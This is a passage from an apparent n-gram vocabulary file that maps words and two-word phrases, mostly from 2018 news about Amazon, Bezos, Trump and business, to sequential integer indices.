182063, "making news": 182064, "corp exas": 182065, "priced prime": 182066, "bolsonaro transition": 182067, "amazon forces": 182068, "tightened restrictions": 182069, "manufacturing lawsuit": 182070, "build business": 182071, "case papa": 182072, "panel approves": 182073, "jungle trade": 182074, "doj concerns": 182075, "draw technology": 182076, "ahead immigrant": 182077, "automaker says": 182078, "news fox": 182079, "significantly starting": 182080, "huge attempt": 182081, "formula": 182082, "drones play": 182083, "mail business": 182084, "amazon projects": 182085, "fiscal year": 182086, "profitable number": 182087, "swiss voters": 182088, "looking just": 182089, "feds powell": 182090, "counterpunch afloat": 182091, "kalanick": 182092, "private ideally": 182093, "businesses google": 182094, "feel encouraged": 182095, "bossturning": 182096, "choir": 182097, "travel world": 182098, "little drop": 182099, "named organizations": 182100, "pruitt ethics": 182101, "say things": 182102, "fairly broad": 182103, "poll security": 182104, "284x160 getty_173218731_200015422000928060_388160": 182105, "state brazil": 182106, "handle delivery": 182107, "madeleine": 182108, "jim": 182109, "daftness netflix": 182110, "grassroots supporters": 182111, "hydrochlorothiazide tablets": 182112, "immigrant center": 182113, "wolff copies": 182114, "major break": 182115, "today tomorrow": 182116, "2018 microsoft": 182117, "international agreement": 182118, "alessandra munduruku": 182119, "initiatives far": 182120, "paper provided": 182121, "title ix": 182122, "eventually approved": 182123, "years uber": 182124, "standard set": 182125, "resignation looks": 182126, "symphony orchestra": 182127, "recent wave": 182128, "hogan gidley": 182129, "comey president": 182130, "currently claims": 182131, "operate data": 182132, "having mono": 182133, "sales instagram": 182134, "upper": 182135, "derogatory": 182136, "life helping": 182137, "fairy dust": 182138, "spotlight bezos": 182139, "hotel chains": 182140, "incentives look": 182141, "100m": 182142, "wouldn just": 182143, "a1 qa": 182144, "nungesser shows": 182145, "misheard": 182146, "n2x z8": 182147, "juul surpasses": 182148, "quieter share": 182149, "explicit proof": 182150, "tax policy": 182151, "danish liberal": 182152, "chief david": 182153, "incredible": 182154, "holly rutt": 182155, "zip": 182156, "bigger flashier": 182157, "media including": 182158, "franklin ap": 182159, "juggernaut game": 182160, "reports repeated": 182161, "flying robot": 182162, "applaud choice": 182163, "british retailers": 182164, "destabilize": 182165, "learn multiplication": 182166, "regualar ebay": 182167, "queens partnerships": 182168, "nyt alum": 182169, "insists talks": 182170, "facing dire": 182171, "using creative": 182172, "fixed_positions utm_term": 182173, "kit business": 182174, "photo timothy": 182175, "pharmacy chains": 182176, "aaa travel": 182177, "jeff lane": 182178, "frequent walmart": 182179, "publish biblical": 182180, "expectancy": 182181, "1994 founding": 182182, "alonzo pe\u00f1a": 182183, "supremacy": 182184, "considered sacred": 182185, "fissures": 182186, "starting campaign": 182187, "helena": 182188, "grab copy": 182189, "conquer": 182190, "servers investigators": 182191, "rates saying": 182192, "assets 181002134913": 182193, "punitive": 182194, "previously engaged": 182195, "ty": 182196, "blissfully unaware": 182197, "newsome": 182198, "book weight": 182199, "twitter target": 182200, "political commentator": 182201, "gdpr": 182202, "cvs logo": 182203, "rangers claims": 182204, "spread wholesale": 182205, "kid flagged": 182206, "hotel owner": 182207, "recently insinuated": 182208, "000 increase": 182209, "biggest jump": 182210, "business startups": 182211, "began laying": 182212, "writing gig": 182213, "litigation president": 182214, "plaudits bezos": 182215, "additional legal": 182216, "fellow republican": 182217, "market morgan": 182218, "testify michael": 182219, "mayangdi": 182220, "video playlists": 182221, "printout": 182222, "bruce rauner": 182223, "antagonized": 182224, "bringing cheaper": 182225, "music publishers": 182226, "vector": 182227, "chicago property": 182228, "regulation according": 182229, "bolsonaro known": 182230, "high trump": 182231, "amazon owns": 182232, "good choice": 182233, "similar media": 182234, "harm 2018": 182235, "post carell": 182236, "hugh jackman": 182237, "increased efficiencies": 182238, "recently food": 182239, "companies simply": 182240, "grimly tells": 182241, "goddamn strange": 182242, "alt left": 182243, "human kindness": 182244, "apwu": 182245, "fictional news": 182246, "series based": 182247, "late payments": 182248, "utmost happiness": 182249, "shamelessly admitted": 182250, "false inc_custom_footer": 182251, "chinese economic": 182252, "kill practices": 182253, "kitty educational": 182254, "major antitrust": 182255, "post tmz": 182256, "telling amazon": 182257, "blackmail attempt": 182258, "ignoring pleas": 182259, "feel incredibly": 182260, "kill": 182261, "eye opener": 182262, "contains confidential": 182263, "dusts": 182264, "nobre warned": 182265, "2018 grandinetti": 182266, "memorial service": 182267, "ouroboros dawn": 182268, "regular targets": 182269, "expected volume": 182270, "suggested looking": 182271, "cost methodology": 182272, "sell network": 182273, "shift funai": 182274, "wires prefer": 182275, "week president": 182276, "andrew": 182277, "assign": 182278, "saner": 182279, "cosmopolitan": 182280, "pounds loss": 182281, "cure": 182282, "dual headquarters": 182283, "auction houses": 182284, "methodology essentially": 182285, "toad": 182286, "week lows": 182287, "primary prior": 182288, "morning inc_filelocation": 182289, "days week": 182290, "maligned": 182291, "specifically asked": 182292, "large isps": 182293, "regularly used": 182294, "companies enjoy": 182295, "old man": 182296, "000 ready": 182297, "holiday hiring": 182298, "calculating": 182299, "facebook video": 182300, "sector division": 182301, "page legislation": 182302, "conspiracy": 182303, "nuclear testing": 182304, "snarky tweet": 182305, "political pecker": 182306, "paying homage": 182307, "answer outright": 182308, "bombing": 182309, "bonn\u00e9 punch": 182310, "outdated law": 182311, "interval": 182312, "gum chewing": 182313, "consolation prize": 182314, "chris learned": 182315, "vanishing middle": 182316, "official federal": 182317, "adopted constitutional": 182318, "autonomous right": 182319, "1tn figure": 182320, "big fast": 182321, "sanchez calling": 182322, "missing appointments": 182323, "offer deep": 182324, "sharing result": 182325, "year excluding": 182326, "monopolies apple": 182327, "illegals flooding": 182328, "simultaneous": 182329, "payments editor": 182330, "statements bezos": 182331, "magnate": 182332, "netflixs feverish": 182333, "potential licensing": 182334, "kavanaugh apologized": 182335, "860 million": 182336, "city dressed": 182337, "exploded": 182338, "stringent safety": 182339, "educational assistants": 182340, "raiders": 182341, "flawed models": 182342, "rest congratulations": 182343, "resist 2018": 182344, "actor needed": 182345, "videopinner": 182346, "greatest democracy": 182347, "reasons profits": 182348, "separation insisting": 182349, "damara alves": 182350, "exchange realdonaldtrump": 182351, "petitions": 182352, "provision buried": 182353, "subscription amazon": 182354, "southern nyse": 182355, "reached billion": 182356, "xilinx nasdaq": 182357, "company announcing": 182358, "hot commodity": 182359, "balcony fell": 182360, "county police": 182361, "sales products": 182362, "stop china": 182363, "emma appleton": 182364, "dubbed disruptor": 182365, "families ___________________________": 182366, "bezos refused": 182367, "policy think": 182368, "mountains cooling": 182369, "states efforts": 182370, "tennessee rally": 182371, "smal": 182372, "gmb trade": 182373, "retailers amazon": 182374, "gates phrased": 182375, "include miller": 182376, "khosrowshahi": 182377, "index fell": 182378, "ami relating": 182379, "inc_display_video_at_bottomflag false": 182380, "broad reach": 182381, "shrink grocery": 182382, "bezos 2750521": 182383, "giant apple": 182384, "enforcement lessons": 182385, "reassurances": 182386, "century amsterdam": 182387, "canadian music": 182388, "longest entry": 182389, "remind journalists": 182390, "difficult year": 182391, "finance analyzed": 182392, "things start": 182393, "exiting": 182394, "hollis": 182395, "hubris": 182396, "visit newark": 182397, "notorious scandal": 182398, "personalized": 182399, "contributed large": 182400, "democrat amy": 182401, "2018 erin": 182402, "criticises amazon": 182403, "pro agribusiness": 182404, "greer": 182405, "coroner search": 182406, "reffed": 182407, "launched test": 182408, "dear chefs": 182409, "gap program": 182410, "disappeared completely": 182411, "theft amazon": 182412, "sanchez expanded": 182413, "allowed tech": 182414, "called john": 182415, "antitrust fines": 182416, "set chops": 182417, "disturbing instead": 182418, "evasion lying": 182419, "location opened": 182420, "make search": 182421, "included racy": 182422, "coke": 182423, "p9x case": 182424, "direct attack": 182425, "celebrity": 182426, "hussle memorial": 182427, "similar situation": 182428, "sunscreen bathing": 182429, "help children": 182430, "clear dustup": 182431, "potential relationship": 182432, "wouldn address": 182433, "recommended changes": 182434, "limos helicopter": 182435, "card focus": 182436, "bay street": 182437, "tsunami chicago": 182438, "pizzagate": 182439, "company typically": 182440, "bring civil": 182441, "bamboo cutting": 182442, "steel shares": 182443, "campaign bernie": 182444, "portuguese": 182445, "told news": 182446, "eagle eyed": 182447, "technology development": 182448, "great city": 182449, "nutanix": 182450, "nyu stern": 182451, "party investors": 182452, "impress tweet": 182453, "addicts": 182454, "diminished experience": 182455, "long animal": 182456, "lovely pure": 182457, "raisfeld rob": 182458, "undergoes horrors": 182459, "terminating": 182460, "mention video": 182461, "harms consumers": 182462, "med sectors": 182463, "company private": 182464, "trump electoral": 182465, "incredibles feminism": 182466, "continued brand": 182467, "shine wife": 182468, "233": 182469, "bloomberg column": 182470, "emissions generated": 182471, "zuckerman": 182472, "night warren": 182473, "supposedly values": 182474, "var w5q": 182475, "tedlieu": 182476, "schuster knew": 182477, "arizona daily": 182478, "discount retail": 182479, "european privacy": 182480, "way ads": 182481, "year 768bn": 182482, "alexis herman": 182483, "average estimate": 182484, "twitty bon": 182485, "recount georgia": 182486, "issues prompting": 182487, "tech news": 182488, "relationsamazon": 182489, "market volatility": 182490, "general everyday": 182491, "aunt wasn": 182492, "man cleaning": 182493, "jpmorgan told": 182494, "different deaths": 182495, "incentives group": 182496, "leaked audio": 182497, "unaided network": 182498, "affordable care": 182499, "tech leading": 182500, "follow businessinsider": 182501, "players gently": 182502, "amazon follows": 182503, "woke jon": 182504, "tim cook": 182505, "strict var": 182506, "greet": 182507, "consensually": 182508, "susquehanna": 182509, "persecuting bezos": 182510, "gump moment": 182511, "richard brodsky": 182512, "scarier": 182513, "rely": 182514, "stelter wrote": 182515, "company split": 182516, "demographic trends": 182517, "race surely": 182518, "devising": 182519, "dwarfs ebay": 182520, "record pace": 182521, "tattered": 182522, "beloved world": 182523, "marshall pencil": 182524, "boring lecture": 182525, "using playbook": 182526, "6zac41n2qru": 182527, "costs additionally": 182528, "dominance enabling": 182529, "history amazon": 182530, "face": 182531, "register trademark": 182532, "usat ly": 182533, "make fun": 182534, "wait time": 182535, "howard dylan": 182536, "baldwin harrison": 182537, "mistress simpson": 182538, "group letter": 182539, "regime christian": 182540, "gillibrand": 182541, "howard marshall": 182542, "2017 chicago": 182543, "endless delays": 182544, "vrtx exas": 182545, "money click": 182546, "british academic": 182547, "mason charged": 182548, "reasonable requests": 182549, "potential monopolisation": 182550, "largest public": 182551, "merrill": 182552, "trump stated": 182553, "gas steam": 182554, "john david": 182555, "uk mixture": 182556, "2017 representatives": 182557, "mexico baja": 182558, "resigned": 182559, "messages bezos": 182560, "core reason": 182561, "assert publicly": 182562, "bombarded": 182563, "just expanded": 182564, "register oxford": 182565, "napoleon hitler": 182566, "giant octopus": 182567, "package factors": 182568, "reversing claims": 182569, "hillary issues": 182570, "experts tell": 182571, "novel 1984": 182572, "seeing difference": 182573, "homecoming facility": 182574, "minor concern": 182575, "vendor central": 182576, "veteran related": 182577, "lets": 182578, "years jumped": 182579, "puts pressure": 182580, "trump secret": 182581, "examines business": 182582, "mornings": 182583, "101 cents": 182584, "information": 182585, "company practice": 182586, "bad text": 182587, "ripped ocasio": 182588, "banners emblazoned": 182589, "black": 182590, "year atlanta": 182591, "emphasized bezos": 182592, "consistent delivery": 182593, "needs usps": 182594, "year reports": 182595, "land brazil": 182596, "lower revenue": 182597, "immigrant students": 182598, "dissident journalist": 182599, "questio jeff": 182600, "announced amazon": 182601, "federalreserve state": 182602, "including private": 182603, "better": 182604, "max einstein": 182605, "energy projects": 182606, "black ish": 182607, "job ads": 182608, "powerfully works": 182609, "treasury rates": 182610, "later took": 182611, "accountability": 182612, "appointees": 182613, "balloon": 182614, "little taxes": 182615, "replacing year": 182616, "incorrect halloween": 182617, "products beat": 182618, "student published": 182619, "secretary colluding": 182620, "head gary": 182621, "life surfaced": 182622, "theaters earlier": 182623, "quarter revenue": 182624, "crossed ethical": 182625, "level insults": 182626, "2011 poses": 182627, "provides clues": 182628, "platform owner": 182629, "department investigate": 182630, "copper heat": 182631, "wrong items": 182632, "people 15k": 182633, "extortion usa": 182634, "purchase behaviour": 182635, "powerful marketplace": 182636, "growth lastly": 182637, "harming mental": 182638, "hate crimes": 182639, "technical glitches": 182640, "harney": 182641, "looting sears": 182642, "influential reviewers": 182643, "pages amazon": 182644, "poetry book": 182645, "away second": 182646, "bhattarai": 182647, "mbrooker1 bloomberg": 182648, "ability tomove": 182649, "financial analyst": 182650, "rhetoric told": 182651, "connections program": 182652, "living wage": 182653, "glitches says": 182654, "sham choice": 182655, "index ranking": 182656, "punch welch": 182657, "uniquely democratic": 182658, "perspective benchmark": 182659, "paid federal": 182660, "sustainability initiatives": 182661, "shopping fiasco": 182662, "data venturebeat": 182663, "draft commerce": 182664, "krakow": 182665, "extremely addicting": 182666, "oas": 182667, "evidence free": 182668, "wadtw": 182669, "risk tolerance": 182670, "emet working": 182671, "news sources": 182672, "index nationals": 182673, "formal tuxedo": 182674, "fighting project": 182675, "reynolds gerryr812": 182676, "interpersonal skills": 182677, "state documents": 182678, "war shame": 182679, "entire families": 182680, "regional groups": 182681, "private white": 182682, "pricing picture": 182683, "mini1x1": 182684, "ampproject": 182685, "founded bezos": 182686, "forestry service": 182687, "squared": 182688, "longest living": 182689, "fe": 182690, "dow rose": 182691, "higher tariffs": 182692, "room decorated": 182693, "withthese countries": 182694, "stiffing": 182695, "bourdain": 182696, "amazon gains": 182697, "post contributing": 182698, "recommendations hundreds": 182699, "android trump": 182700, "reptiles": 182701, "alexa devices": 182702, "massive migration": 182703, "illegal president": 182704, "toxic reputation": 182705, "current era": 182706, "trump buy": 182707, "langone": 182708, "platooning yielding": 182709, "possible indication": 182710, "subsequent instagram": 182711, "bobblehead": 182712, "martin freeman": 182713, "impartially": 182714, "boxing": 182715, "data protection": 182716, "future acquisitions": 182717, "son eric": 182718, "excelsior program": 182719, "government rival": 182720, "half coming": 182721, "outgoing ambassador": 182722, "thedemocrats": 182723, "india told": 182724, "early goldenbenjamin": 182725, "wattpad netflix": 182726, "care says": 182727, "new features": 182728, "reading app": 182729, "imagined pin": 182730, "analyst charlie": 182731, "linen": 182732, "scale jedi": 182733, "body": 182734, "stealth": 182735, "photographs couldn": 182736, "pot sales": 182737, "ann henry": 182738, "zoya": 182739, "bby plans": 182740, "recommended slideshows": 182741, "dude": 182742, "voters asked": 182743, "restaurants follow": 182744, "thebradblog": 182745, "interestingly ceo": 182746, "brushes": 182747, "meet given": 182748, "special airworthiness": 182749, "dwarf planet": 182750, "price actually": 182751, "unflinchingly": 182752, "federal trade": 182753, "diverse mix": 182754, "shipping unless": 182755, "torel charges": 182756, "carry hold": 182757, "berlin photo": 182758, "expanding aws": 182759, "alibaba taobao": 182760, "helps sellers": 182761, "competitor claims": 182762, "morning raising": 182763, "general ken": 182764, "creates checks": 182765, "early james": 182766, "martin yeah": 182767, "share nooyi": 182768, "business vernon": 182769, "report sadly": 182770, "sadistic tendencies": 182771, "swallowed pill": 182772, "generated 586": 182773, "leader knopf": 182774, "endless series": 182775, "knight foundation": 182776, "aa ba": 182777, "chukumba loop": 182778, "company interested": 182779, "don regularly": 182780, "randy hoeft": 182781, "bezos used": 182782, "installs lockers": 182783, "robert": 182784, "scripts dipped": 182785, "leading research": 182786, "record live": 182787, "reproach": 182788, "doing business": 182789, "slammed house": 182790, "financial records": 182791, "awfully confusing": 182792, "audio recording": 182793, "operated 536": 182794, "chicago earlier": 182795, "different ways": 182796, "wrinkles": 182797, "depot": 182798, "grammy nominated": 182799, "r4ee g7a": 182800, "benefits": 182801, "halloween set": 182802, "law doing": 182803, "crossers": 182804, "immediately joined": 182805, "candies gum": 182806, "ruminated": 182807, "says canaccord": 182808, "jim gray": 182809, "lawmakers seeking": 182810, "bullet features": 182811, "grote": 182812, "600 results": 182813, "busch facebook": 182814, "afternoon bezos": 182815, "funny elizabeth": 182816, "volunteers kicked": 182817, "jeff schapiro": 182818, "potential competitor": 182819, "delusions": 182820, "newspaper owned": 182821, "frequent rants": 182822, "seasons amazon": 182823, "2018 investors": 182824, "emre doubleday": 182825, "absurdist feminist": 182826, "underwhelm": 182827, "esd history": 182828, "earlier asked": 182829, "18125765 postal": 182830, "falcon search": 182831, "states democrats": 182832, "campus police": 182833, "material way": 182834, "wouldn scale": 182835, "technological breakthrough": 182836, "drugstores": 182837, "months tracking": 182838, "pay employees": 182839, "chinese president": 182840, "sellers determine": 182841, "don nail": 182842, "leading hypothetical": 182843, "friend michael": 182844, "shakes": 182845, "nintendo labo": 182846, "kill practice": 182847, "personal loans": 182848, "2020 thank": 182849, "statement following": 182850, "nonetheless anti": 182851, "manipulating witnesses": 182852, "gigabyte": 182853, "3dpi jpgnews": 182854, "tracks iot": 182855, "trouble south": 182856, "bartender": 182857, "armed separatists": 182858, "graham roland": 182859, "new taskforce": 182860, "media appeared": 182861, "things infowars": 182862, "million americans": 182863, "pairing": 182864, "kundu": 182865, "academia": 182866, "eu wants": 182867, "summit backlash": 182868, "best shows": 182869, "cash flows": 182870, "motivated says": 182871, "online slammed": 182872, "davenport": 182873, "reed adventurer": 182874, "campaign bezos": 182875, "update despite": 182876, "law expert": 182877, "actually transition": 182878, "v9 m2x": 182879, "burgeoning digital": 182880, "height 259": 182881, "constituents": 182882, "weakening": 182883, "constitutional right": 182884, "mark faram": 182885, "keeping facebook": 182886, "chosen corporations": 182887, "west oak": 182888, "amazing thing": 182889, "start treating": 182890, "camo": 182891, "tana": 182892, "notes king": 182893, "international consensus": 182894, "2000 saw": 182895, "raises larger": 182896, "penis ami": 182897, "ii orwell": 182898, "agreement arrived": 182899, "low trump": 182900, "warplanes": 182901, "danielle says": 182902, "286 vendors": 182903, "recruiting talent": 182904, "inconsequential": 182905, "promptly": 182906, "teslas": 182907, "profile photograph": 182908, "worthy announces": 182909, "entire group": 182910, "good thing": 182911, "inhaling": 182912, "sells clothes": 182913, "gotten hasn": 182914, "raccoon rescue": 182915, "contrast rep": 182916, "month copyright_reutersapi": 182917, "act passes": 182918, "proven competence": 182919, "naturalism": 182920, "executives": 182921, "degrassi reunion": 182922, "jward56": 182923, "achievement award": 182924, "companies apart": 182925, "booming new": 182926, "entire range": 182927, "brat va": 182928, "gianaris democrat": 182929, "max investigation": 182930, "sharp rise": 182931, "energy energy": 182932, "time allow": 182933, "stephanie strathdee": 182934, "incorporate user": 182935, "216 8711": 182936, "bezos trump": 182937, "videogame": 182938, "likemust meet": 182939, "wapo registered": 182940, "absorbable": 182941, "descriptionplaintext airbnb": 182942, "conditioning": 182943, "high amazon": 182944, "9billion french": 182945, "400 american": 182946, "frankly disgusting": 182947, "site hot": 182948, "blissfully": 182949, "governments utilise": 182950, "easily depreciates": 182951, "backed year": 182952, "acrobatics": 182953, "zimmerman stalking": 182954, "robinson": 182955, "hue": 182956, "destination sen": 182957, "deploys": 182958, "saying friends": 182959, "public release": 182960, "eu hits": 182961, "interfering": 182962, "interests aiming": 182963, "110 walmart": 182964, "734": 182965, "lorry": 182966, "companies noting": 182967, "defined month": 182968, "implants": 182969, "customers include": 182970, "mammal flesh": 182971, "china inflation": 182972, "bento albuquerque": 182973, "flung businesses": 182974, "thousand dollars": 182975, "dental": 182976, "curlingly": 182977, "rutte": 182978, "newspaper reporters": 182979, "dropped dead": 182980, "tysons": 182981, "investigators concluded": 182982, "covered trump": 182983, "repeatedly lashed": 182984, "lady says": 182985, "new weboost": 182986, "souder": 182987, "echoes amazon": 182988, "television pundits": 182989, "toxic pesticides": 182990, "week predicting": 182991, "stores nyse": 182992, "consumer d2c": 182993, "opposition efforts": 182994, "144 clark": 182995, "carter journalism": 182996, "continued demand": 182997, "erect manhood": 182998, "ja vu": 182999, "xingu": 183000, "weindling": 183001, "couple called": 183002, "company emarketer": 183003, "recognition technology": 183004, "lobby group": 183005, "highest share": 183006, "trump credible": 183007, "andrew gillum": 183008, "cola nyse": 183009, "trump clothing": 183010, "schrader ethan": 183011, "market pretty": 183012, "nelson mandela": 183013, "subjected": 183014, "program using": 183015, "girl best": 183016, "radio reporter": 183017, "molehill": 183018, "primary focus": 183019, "espresso reader": 183020, "mathew": 183021, "_from": 183022, "comparatively expensive": 183023, "indonesia philippines": 183024, "delay action": 183025, "contain human": 183026, "valuable customer": 183027, "include infrastructure": 183028, "force placing": 183029, "deficit varney": 183030, "29billion": 183031, "host stephanie": 183032, "amazon greatest": 183033, "deals flash": 183034, "important investment": 183035, "426": 183036, "becker believes": 183037, "billion public": 183038, "peterson innocence": 183039, "slot machines": 183040, "korean rival": 183041, "congressman thanks": 183042, "television host": 183043, "hip hop": 183044, "credited bezos": 183045, "old social": 183046, "commentary julia": 183047, "national committee": 183048, "memoir covers": 183049, "trump card": 183050, "mitchell katie": 183051, "constitutional": 183052, "rubio fan": 183053, "office amazon": 183054, "include paul": 183055, "rising global": 183056, "dust": 183057, "meaningful increase": 183058, "children gary": 183059, "considered risky": 183060, "sorry unclear": 183061, "best guess": 183062, "mylesudland": 183063, "crm": 183064, "chewed": 183065, "strategic global": 183066, "tanzania": 183067, "juuls headquarters": 183068, "seattle commerce": 183069, "rescind": 183070, "barb": 183071, "source alex": 183072, "highly recommended": 183073, "888 billion": 183074, "analytic": 183075, "cbs government": 183076, "rowan": 183077, "castle metahelm": 183078, "retailer failed": 183079, "649 shares": 183080, "kentucky recently": 183081, "arrests": 183082, "baltimore amazon": 183083, "hour right": 183084, "photo storage": 183085, "reinstated": 183086, "major price": 183087, "class heather": 183088, "you\u00e2re": 183089, "company generated": 183090, "issue betras": 183091, "shipping game": 183092, "improper contact": 183093, "making radical": 183094, "choate inv": 183095, "loss sharing": 183096, "absorb costs": 183097, "trump arbitrary": 183098, "digitally": 183099, "develop real": 183100, "fully learned": 183101, "fate uncertain": 183102, "culture words": 183103, "bezos multi": 183104, "allies staff": 183105, "statement coming": 183106, "especially thrilling": 183107, "reduce irs": 183108, "ivy leaguers": 183109, "effectively grind": 183110, "buzzfeed josh": 183111, "members include": 183112, "addabbo jr": 183113, "unexceptional collection": 183114, "bezos toolkit": 183115, "highly skilled": 183116, "credit refundable": 183117, "flashing": 183118, "divided supreme": 183119, "prime members": 183120, "shelby alabama": 183121, "innovation wide": 183122, "___ faa": 183123, "blitzscaling": 183124, "tesla bear": 183125, "tweet jan": 183126, "cohen tells": 183127, "story jesse": 183128, "led droop": 183129, "extra week": 183130, "currently resides": 183131, "plot": 183132, "promptly scored": 183133, "shareholders recently": 183134, "surely": 183135, "investors shrugged": 183136, "disservice": 183137, "snacks way": 183138, "meaning amazon": 183139, "clarence": 183140, "protracted": 183141, "anna wintour": 183142, "worsen income": 183143, "conversion therapy": 183144, "resettlement leader": 183145, "battle brewing": 183146, "amazing team": 183147, "sessions meets": 183148, "firm wedbush": 183149, "case c9x": 183150, "aside 565": 183151, "rep\u00f3rter nbr": 183152, "told law": 183153, "pro choice": 183154, "public cloud": 183155, "exacerbated": 183156, "california task": 183157, "quagmire": 183158, "russian royal": 183159, "massachusetts sent": 183160, "sought documents": 183161, "repurchased": 183162, "includinga": 183163, "core complaint": 183164, "course free": 183165, "rc1d900f0700": 183166, "stunning shots": 183167, "resolve": 183168, "doing great": 183169, "trading environment": 183170, "resistance official": 183171, "fact increase": 183172, "border crisis": 183173, "read harry": 183174, "pingpong": 183175, "smuggling": 183176, "1360479": 183177, "oracle filed": 183178, "hard kissed": 183179, "van mcgehee": 183180, "fair claimed": 183181, "story claiming": 183182, "pared": 183183, "halloween 2018": 183184, "false charges": 183185, "firms isn": 183186, "entire life": 183187, "chided sanders": 183188, "borough": 183189, "wailed": 183190, "emirates academic": 183191, "caucasian": 183192, "amazon ken": 183193, "distributed data": 183194, "trumpocracy": 183195, "bloomberg nixon": 183196, "condition worsened": 183197, "cooper u003c": 183198, "ordering small": 183199, "gop rep": 183200, "ceo ended": 183201, "posted earlier": 183202, "hometown hyperlocal": 183203, "making huge": 183204, "newman source": 183205, "politico anthony": 183206, "presidential harassment": 183207, "hellmann": 183208, "new findings": 183209, "higher stock": 183210, "actually saw": 183211, "email listed": 183212, "major sports": 183213, "management reported": 183214, "920 implying": 183215, "facebook earlier": 183216, "corporations expect": 183217, "crime drama": 183218, "diversity saying": 183219, "schiff amazon": 183220, "wall according": 183221, "president social": 183222, "individual elements": 183223, "lender ace": 183224, "people google": 183225, "stocks based": 183226, "send equipment": 183227, "national markets": 183228, "readmoretext_aut slideshow": 183229, "zinke attended": 183230, "sigh": 183231, "refurbishing": 183232, "determine exactly": 183233, "lot amazon": 183234, "stop importing": 183235, "perfect present": 183236, "buzz facebook": 183237, "pit": 183238, "100 margin": 183239, "wattpad website": 183240, "advisor positions": 183241, "boost consumption": 183242, "russian backed": 183243, "shadow banning": 183244, "philadelphia suburbs": 183245, "ambition blinded": 183246, "welfare policies": 183247, "corporate cloud": 183248, "photos taiwan": 183249, "200": 183250, "dictatorship": 183251, "getting code": 183252, "market source": 183253, "progressives whoare": 183254, "market research": 183255, "needs attention": 183256, "haverty": 183257, "heute": 183258, "placed squarely": 183259, "forger": 183260, "trump showed": 183261, "inflammatory language": 183262, "public feud": 183263, "currently expired": 183264, "compelling charismatic": 183265, "techniques": 183266, "zgutowicz sees": 183267, "galactic blue": 183268, "2018 stocking": 183269, "taking issue": 183270, "safe spaces": 183271, "campaign speeches": 183272, "properties": 183273, "threw": 183274, "spotlight away": 183275, "appealing alternative": 183276, "agencies according": 183277, "nazi sympathisers": 183278, "backed healthcare": 183279, "expands amazon": 183280, "banking license": 183281, "twitter confirmed": 183282, "tweets person": 183283, "shares surged": 183284, "pearce": 183285, "vt gary": 183286, "dubbed contextual": 183287, "reputation remains": 183288, "amazon water": 183289, "needham names": 183290, "sweet savory": 183291, "years editor": 183292, "thomson reuters": 183293, "management fulfillment": 183294, "kim regime": 183295, "judge peter": 183296, "hate figure": 183297, "exploration alongside": 183298, "leon talley": 183299, "club yesterday": 183300, "eruption chicago": 183301, "lazzaro": 183302, "mozart": 183303, "bezos exposed": 183304, "noble fell": 183305, "share doubled": 183306, "retailers story": 183307, "importance": 183308, "nossies": 183309, "finds search": 183310, "sense city": 183311, "greenback": 183312, "deborah weinswig": 183313, "bolster": 183314, "contained standard": 183315, "sunken place": 183316, "wall house": 183317, "chairman lindsey": 183318, "3000": 183319, "banning acosta": 183320, "liaison": 183321, "wawx": 183322, "foggy start": 183323, "recommends match": 183324, "sparkling": 183325, "wealthiest man": 183326, "gmobogys5r fast": 183327, "left believe": 183328, "statement challenge": 183329, "says human": 183330, "strengthen amazon": 183331, "labor giveaway": 183332, "family center": 183333, "btig analysts": 183334, "laws big": 183335, "mark 2018": 183336, "hollywood agent": 183337, "onesie": 183338, "shoaib malik": 183339, "investment strategist": 183340, "game buy": 183341, "charlie": 183342, "overall customer": 183343, "visualize": 183344, "discussed bringing": 183345, "residential construction": 183346, "nose runs": 183347, "doffed": 183348, "reform school": 183349, "music new": 183350, "ira contributions": 183351, "criticisms amazon": 183352, "essentially platform": 183353, "presidential nemesis": 183354, "party result": 183355, "interview begin": 183356, "volumes fedex": 183357, "angeles newscaster": 183358, "states biggest": 183359, "fundamental principles": 183360, "counterfeit lists": 183361, "kindred spirits": 183362, "sabrina": 183363, "deal later": 183364, "digital": 183365, "calif volunteers": 183366, "gonzales says": 183367, "dispatched": 183368, "peggy": 183369, "costco development": 183370, "jon fine": 183371, "salt farms": 183372, "paige": 183373, "stairs": 183374, "arises": 183375, "jerseys": 183376, "gop writ": 183377, "president tweeted": 183378, "required sears": 183379, "leaning supreme": 183380, "slides source": 183381, "suits": 183382, "bold new": 183383, "ceasar chairman": 183384, "studies confirm": 183385, "thepoke": 183386, "publish unpublished": 183387, "landslide douglas": 183388, "hurston check": 183389, "teens love": 183390, "later major": 183391, "assets acquired": 183392, "successful businessman": 183393, "exclusive joint": 183394, "lower global": 183395, "catholic church": 183396, "henry bauer": 183397, "mean resist": 183398, "agency standard": 183399, "supplemental": 183400, "thebeatwithari": 183401, "150 000": 183402, "grandinetti pointed": 183403, "obviously cost": 183404, "actually listed": 183405, "ctc leads": 183406, "don receive": 183407, "monopoly trump": 183408, "gory": 183409, "claiming landfills": 183410, "jobs empire": 183411, "evil held": 183412, "elegant functional": 183413, "thune": 183414, "beginner": 183415, "stitcher": 183416, "runs critical": 183417, "self regard": 183418, "away herera": 183419, "gains posted": 183420, "pink news": 183421, "artificial": 183422, "reach stock": 183423, "business ___": 183424, "just single": 183425, "500 financial": 183426, "libertarians": 183427, "challenge stars": 183428, "nightmare trump": 183429, "media coverage": 183430, "sanders recently": 183431, "tony reputation": 183432, "year continue": 183433, "white shoe": 183434, "nemesis ted": 183435, "subway systems": 183436, "trends remaining": 183437, "customers contributed": 183438, "administration trump": 183439, "basin operations": 183440, "maniac netflix": 183441, "walter skip": 183442, "linkedin": 183443, "softon": 183444, "ahead investors": 183445, "bought potential": 183446, "deception": 183447, "astonishing mean": 183448, "workplace including": 183449, "uniquely resonates": 183450, "rob reiner": 183451, "various markets": 183452, "amazon web": 183453, "lose half": 183454, "york stressed": 183455, "alex bailey": 183456, "7cmain": 183457, "includes process": 183458, "service called": 183459, "landowners bolsonaro": 183460, "joined forces": 183461, "potentially potentially": 183462, "efforts cities": 183463, "falsely asserted": 183464, "place undue": 183465, "pretending": 183466, "leaders sign": 183467, "sellers alibaba": 183468, "benefit trump": 183469, "siemens ag": 183470, "national obsession": 183471, "conference globenewswire": 183472, "amid divorce": 183473, "book heartland": 183474, "illion yillion": 183475, "favored corporate": 183476, "froome victory": 183477, "maga hat": 183478, "suspect political": 183479, "beast bezos": 183480, "secure european": 183481, "longstanding ties": 183482, "company ironically": 183483, "nshongore reverend": 183484, "bezos repay": 183485, "internal data": 183486, "flywheel effect": 183487, "grievances include": 183488, "exposes pecker": 183489, "abandon plastic": 183490, "weeks political": 183491, "seller charts": 183492, "longstanding friend": 183493, "tonyatamanuik": 183494, "crew managed": 183495, 